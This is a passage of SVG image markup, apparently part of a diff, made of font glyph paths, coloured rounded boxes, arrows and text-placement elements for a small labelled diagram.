6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 4.4375 -4.5 L 4.796875 -2.3125 L 4.84375 -2.3125 L 5.25 -4.53125 L 7.890625 -14.234375 L 9.453125 -14.234375 L 5.140625 0.21875 L 4.328125 0.21875 L -0.046875 -14.234375 L 1.640625 -14.234375 Z M 4.4375 -4.5 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-16"> +<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-17"> +<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-18"> +<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-19"> +<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/> +</symbol> +</g> +</defs> +<g id="surface7180"> +<rect x="0" y="0" width="404" height="312" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M -5.2 6.4 L 14.8 6.4 L 14.8 21.8 L -5.2 21.8 Z M -5.2 6.4 " transform="matrix(20,0,0,20,106,-126)"/> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.3 13 C 1.134375 13 1 13.134375 1 13.3 L 1 14.7 C 1 14.865625 1.134375 15 1.3 15 L 9.7 15 C 9.865625 15 10 14.865625 10 14.7 L 10 13.3 C 10 13.134375 9.865625 13 9.7 13 Z M 1.3 13 " transform="matrix(20,0,0,20,106,-126)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="179.203125" y="162.00217"/> + <use xlink:href="#glyph0-2" x="190.036458" y="162.00217"/> + <use xlink:href="#glyph0-3" x="198.925347" y="162.00217"/> + <use xlink:href="#glyph0-4" x="204.480903" y="162.00217"/> + <use xlink:href="#glyph0-5" x="217.814236" y="162.00217"/> + <use xlink:href="#glyph0-6" x="222.258681" y="162.00217"/> + <use xlink:href="#glyph0-7" x="231.147569" y="162.00217"/> + <use xlink:href="#glyph0-8" x="239.203125" y="162.00217"/> + <use xlink:href="#glyph0-7" x="244.758681" y="162.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,87.058824%,78.039217%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.3 19 C 1.134375 19 1 19.134375 1 19.3 L 1 20.7 C 1 20.865625 1.134375 21 1.3 21 L 9.7 21 C 9.865625 21 10 20.865625 10 20.7 L 10 19.3 C 10 19.134375 9.865625 19 9.7 19 Z M 1.3 19 " transform="matrix(20,0,0,20,106,-126)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-9" x="181.566406" y="282.00217"/> + <use xlink:href="#glyph0-10" x="191.010851" y="282.00217"/> + <use xlink:href="#glyph0-11" x="195.455295" y="282.00217"/> + <use xlink:href="#glyph0-12" x="203.788628" y="282.00217"/> + <use xlink:href="#glyph0-5" x="215.455295" y="282.00217"/> + <use xlink:href="#glyph0-6" x="219.89974" y="282.00217"/> + <use xlink:href="#glyph0-7" x="228.788628" y="282.00217"/> + <use xlink:href="#glyph0-8" x="236.844184" y="282.00217"/> + <use xlink:href="#glyph0-7" x="242.39974" y="282.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.3 7 C 1.134375 7 1 7.134375 1 7.3 L 1 8.7 C 1 8.865625 1.134375 9 1.3 9 L 9.7 9 C 9.865625 9 10 8.865625 10 8.7 L 10 7.3 C 10 7.134375 9.865625 7 9.7 7 Z M 1.3 7 " transform="matrix(20,0,0,20,106,-126)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-13" x="176.566406" y="42.00217"/> + <use xlink:href="#glyph0-2" x="189.621962" y="42.00217"/> + <use xlink:href="#glyph0-6" x="198.510851" y="42.00217"/> + <use xlink:href="#glyph0-11" x="207.39974" y="42.00217"/> + <use xlink:href="#glyph0-14" x="215.733073" y="42.00217"/> + <use xlink:href="#glyph0-5" x="220.455295" y="42.00217"/> + <use xlink:href="#glyph0-6" x="224.89974" y="42.00217"/> + <use xlink:href="#glyph0-7" x="233.788628" y="42.00217"/> + <use xlink:href="#glyph0-8" x="241.844184" y="42.00217"/> + <use xlink:href="#glyph0-7" x="247.39974" y="42.00217"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3.25 9 L 3.25 12.45 " transform="matrix(20,0,0,20,106,-126)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3 12.45 L 3.25 12.95 L 3.5 12.45 Z M 3 12.45 " transform="matrix(20,0,0,20,106,-126)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3.25 15 L 3.25 18.45 " transform="matrix(20,0,0,20,106,-126)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3 18.45 L 3.25 18.95 L 3.5 18.45 Z M 3 18.45 " transform="matrix(20,0,0,20,106,-126)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.75 19 L 7.75 15.55 " transform="matrix(20,0,0,20,106,-126)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8 15.55 L 7.75 15.05 L 7.5 15.55 Z M 8 15.55 " transform="matrix(20,0,0,20,106,-126)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.75 13 L 7.75 9.55 " transform="matrix(20,0,0,20,106,-126)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8 9.55 L 7.75 9.05 L 7.5 9.55 Z M 8 9.55 " transform="matrix(20,0,0,20,106,-126)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-8" x="93.226562" y="101.525608"/> + <use xlink:href="#glyph0-3" x="98.782118" y="101.525608"/> + <use xlink:href="#glyph0-7" x="104.337674" y="101.525608"/> + <use xlink:href="#glyph0-15" x="112.393229" y="101.525608"/> + <use xlink:href="#glyph0-16" x="121.282118" y="101.525608"/> + <use xlink:href="#glyph0-17" x="128.226562" y="101.525608"/> + <use xlink:href="#glyph0-2" x="133.226562" y="101.525608"/> + <use xlink:href="#glyph0-3" x="142.115451" y="101.525608"/> + <use xlink:href="#glyph0-4" x="147.671007" y="101.525608"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-3" x="271" y="101.525608"/> + <use xlink:href="#glyph0-11" x="276.555556" y="101.525608"/> + <use xlink:href="#glyph0-18" x="284.611111" y="101.525608"/> + <use xlink:href="#glyph0-11" x="292.388889" y="101.525608"/> + <use xlink:href="#glyph0-3" x="300.722222" y="101.525608"/> + <use xlink:href="#glyph0-16" x="306.277778" y="101.525608"/> + <use xlink:href="#glyph0-11" x="313.222222" y="101.525608"/> + <use xlink:href="#glyph0-19" x="321.555556" y="101.525608"/> + <use xlink:href="#glyph0-3" x="328.777778" y="101.525608"/> + <use xlink:href="#glyph0-7" x="334.333333" y="101.525608"/> + <use xlink:href="#glyph0-15" x="342.388889" y="101.525608"/> + <use xlink:href="#glyph0-16" x="351.277778" y="101.525608"/> + <use xlink:href="#glyph0-17" x="358.222222" y="101.525608"/> + <use xlink:href="#glyph0-2" x="363.222222" y="101.525608"/> + <use xlink:href="#glyph0-3" x="372.111111" y="101.525608"/> + <use xlink:href="#glyph0-4" x="377.666667" y="101.525608"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-8" x="93.226562" y="221.525608"/> + <use xlink:href="#glyph0-3" x="98.782118" y="221.525608"/> + <use xlink:href="#glyph0-7" x="104.337674" y="221.525608"/> + <use xlink:href="#glyph0-15" x="112.393229" y="221.525608"/> + <use xlink:href="#glyph0-16" x="121.282118" y="221.525608"/> + <use xlink:href="#glyph0-17" x="128.226562" y="221.525608"/> + <use xlink:href="#glyph0-2" x="133.226562" y="221.525608"/> + <use xlink:href="#glyph0-3" x="142.115451" y="221.525608"/> + <use xlink:href="#glyph0-4" x="147.671007" y="221.525608"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-3" x="271" y="221.525608"/> + <use xlink:href="#glyph0-11" x="276.555556" y="221.525608"/> + <use xlink:href="#glyph0-18" x="284.611111" y="221.525608"/> + <use xlink:href="#glyph0-11" x="292.388889" y="221.525608"/> + <use xlink:href="#glyph0-3" x="300.722222" y="221.525608"/> + <use xlink:href="#glyph0-16" x="306.277778" y="221.525608"/> + <use xlink:href="#glyph0-11" x="313.222222" y="221.525608"/> + <use xlink:href="#glyph0-19" x="321.555556" y="221.525608"/> + <use xlink:href="#glyph0-3" x="328.777778" y="221.525608"/> + <use xlink:href="#glyph0-7" x="334.333333" y="221.525608"/> + <use xlink:href="#glyph0-15" x="342.388889" y="221.525608"/> + <use xlink:href="#glyph0-16" x="351.277778" y="221.525608"/> + <use xlink:href="#glyph0-17" x="358.222222" y="221.525608"/> + <use xlink:href="#glyph0-2" x="363.222222" y="221.525608"/> + <use xlink:href="#glyph0-3" x="372.111111" y="221.525608"/> + <use xlink:href="#glyph0-4" x="377.666667" y="221.525608"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M -3.697461 19.141992 L -3.697461 15.932031 L -4.5 15.932031 L -2.894922 14.326953 L -1.289844 15.932031 L -2.092383 15.932031 L -2.092383 19.141992 L -1.289844 19.141992 L -2.894922 20.74707 L -4.5 19.141992 Z M -3.697461 19.141992 " transform="matrix(20,0,0,20,106,-126)"/> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 47.609375 182.761719 L 46.0625 183.027344 L 46.0625 183.058594 L 47.640625 183.351562 L 54.566406 185.316406 L 54.566406 186.484375 L 44.171875 183.277344 L 44.171875 182.671875 L 54.566406 179.425781 L 54.566406 180.679688 M 51.730469 187.148438 L 51.730469 188.226562 L 44.171875 188.226562 L 44.171875 187.148438 M 53.589844 186.941406 C 53.875 186.941406 54.109375 187.007812 54.285156 187.148438 C 54.46875 187.285156 54.566406 187.460938 54.566406 187.679688 C 54.566406 187.902344 54.476562 188.09375 54.300781 188.238281 C 54.128906 188.386719 53.894531 188.460938 53.589844 188.460938 C 53.304688 188.460938 53.078125 188.386719 52.914062 188.238281 C 52.753906 188.09375 52.675781 187.902344 52.675781 187.679688 C 52.675781 187.460938 52.757812 187.285156 52.925781 187.148438 C 53.09375 187.007812 53.316406 186.941406 53.589844 186.941406 M 44.835938 194.324219 C 44.628906 194.078125 44.464844 193.765625 44.347656 193.394531 C 44.230469 193.027344 44.171875 192.640625 44.171875 192.226562 C 44.171875 191.742188 44.257812 191.328125 44.4375 190.988281 C 44.613281 190.640625 44.867188 190.355469 45.203125 190.128906 C 45.535156 189.902344 45.933594 189.734375 46.386719 189.628906 C 46.847656 189.515625 47.367188 189.464844 47.949219 189.464844 C 49.179688 189.464844 50.113281 189.703125 50.757812 190.175781 C 51.40625 190.648438 51.730469 191.316406 51.730469 192.183594 C 51.730469 192.464844 51.695312 192.746094 51.628906 193.023438 C 51.570312 193.296875 51.4375 193.542969 51.242188 193.761719 C 51.042969 193.988281 50.769531 194.167969 50.417969 194.308594 C 50.0625 194.445312 49.597656 194.515625 49.027344 194.515625 C 48.871094 194.515625 48.695312 194.503906 48.511719 194.484375 C 48.335938 194.476562 48.148438 194.460938 47.949219 194.441406 L 47.949219 190.601562 C 47.515625 190.601562 47.125 190.636719 46.769531 190.707031 C 46.421875 190.773438 46.128906 190.882812 45.882812 191.03125 C 45.636719 191.1875 45.445312 191.386719 45.308594 191.621094 C 45.179688 191.859375 45.117188 192.152344 45.117188 192.507812 C 45.117188 192.78125 45.160156 193.054688 45.25 193.320312 C 45.34375 193.585938 45.464844 193.785156 45.601562 193.925781 M 48.894531 193.46875 C 49.546875 193.484375 50.023438 193.378906 50.328125 193.140625 C 50.632812 192.914062 50.785156 192.601562 50.785156 192.195312 C 50.785156 191.730469 50.632812 191.363281 50.328125 191.089844 C 50.023438 190.824219 49.546875 190.664062 48.894531 190.617188 M 51.730469 199.507812 L 47.40625 200.851562 L 45.988281 201.117188 L 45.988281 201.144531 L 47.433594 201.382812 L 51.730469 202.398438 L 51.730469 203.433594 L 44.171875 201.425781 L 44.171875 200.804688 L 49.027344 199.269531 L 50.269531 199.0625 L 50.269531 199.035156 L 49.015625 198.828125 L 44.171875 197.335938 L 44.171875 196.714844 L 51.730469 194.648438 L 51.730469 195.816406 L 47.417969 196.980469 L 45.988281 197.160156 L 45.988281 197.1875 L 47.449219 197.46875 L 51.730469 198.707031 M 53.621094 212.457031 L 53.621094 209.855469 L 44.171875 209.855469 L 44.171875 208.71875 L 53.621094 208.71875 L 53.621094 206.121094 L 54.566406 206.121094 L 54.566406 212.457031 M 51.730469 212.46875 L 51.730469 213.253906 L 50.816406 213.445312 L 50.816406 213.488281 C 51.101562 213.625 51.320312 213.808594 51.480469 214.035156 C 51.644531 214.261719 51.730469 214.539062 51.730469 214.863281 C 51.730469 215.085938 51.691406 215.351562 51.613281 215.644531 L 50.652344 215.4375 C 50.742188 215.171875 50.785156 214.941406 50.785156 214.746094 C 50.785156 214.417969 50.691406 214.152344 50.503906 213.945312 C 50.316406 213.746094 50.066406 213.621094 49.753906 213.5625 L 44.171875 213.5625 L 44.171875 212.46875 M 51.167969 216.175781 C 51.347656 216.472656 51.484375 216.828125 51.582031 217.238281 C 51.679688 217.660156 51.730469 218.105469 51.730469 218.570312 C 51.730469 218.988281 51.664062 219.328125 51.539062 219.585938 C 51.421875 219.84375 51.25 220.046875 51.035156 220.191406 C 50.832031 220.339844 50.585938 220.433594 50.3125 220.472656 C 50.046875 220.519531 49.757812 220.546875 49.457031 220.546875 C 48.867188 220.546875 48.289062 220.53125 47.730469 220.503906 C 47.167969 220.480469 46.636719 220.472656 46.132812 220.472656 C 45.75 220.472656 45.394531 220.480469 45.070312 220.503906 C 44.753906 220.53125 44.457031 220.582031 44.171875 220.652344 L 44.171875 219.824219 L 45.117188 219.574219 L 45.117188 219.511719 C 44.859375 219.367188 44.636719 219.144531 44.453125 218.847656 C 44.261719 218.554688 44.171875 218.160156 44.171875 217.667969 C 44.171875 217.125 44.371094 216.679688 44.777344 216.324219 C 45.179688 215.976562 45.734375 215.808594 46.445312 215.808594 C 46.90625 215.808594 47.289062 215.882812 47.597656 216.027344 C 47.910156 216.175781 48.164062 216.382812 48.363281 216.648438 C 48.558594 216.914062 48.695312 217.230469 48.777344 217.59375 C 48.855469 217.96875 48.894531 218.378906 48.894531 218.835938 C 48.894531 218.929688 48.894531 219.03125 48.894531 219.128906 C 48.894531 219.238281 48.886719 219.34375 48.882812 219.453125 C 49.125 219.484375 49.347656 219.5 49.546875 219.5 C 49.996094 219.5 50.316406 219.410156 50.503906 219.234375 C 50.691406 219.0625 50.785156 218.753906 50.785156 218.304688 C 50.785156 218.015625 50.742188 217.703125 50.652344 217.371094 C 50.570312 217.035156 50.46875 216.761719 50.34375 216.546875 M 47.921875 219.46875 C 47.929688 219.371094 47.9375 219.265625 47.9375 219.160156 C 47.945312 219.058594 47.949219 218.960938 47.949219 218.863281 C 47.949219 218.617188 47.925781 218.375 47.878906 218.140625 C 47.835938 217.910156 47.761719 217.703125 47.65625 217.519531 C 47.542969 217.34375 47.398438 217.199219 47.210938 217.09375 C 47.023438 216.980469 46.789062 216.929688 46.503906 216.929688 C 46.0625 216.929688 45.714844 217.027344 45.46875 217.226562 C 45.234375 217.421875 45.117188 217.675781 45.117188 217.992188 C 45.117188 218.414062 45.222656 218.746094 45.441406 218.980469 C 45.65625 219.21875 45.898438 219.378906 46.164062 219.46875 M 44.171875 225.804688 L 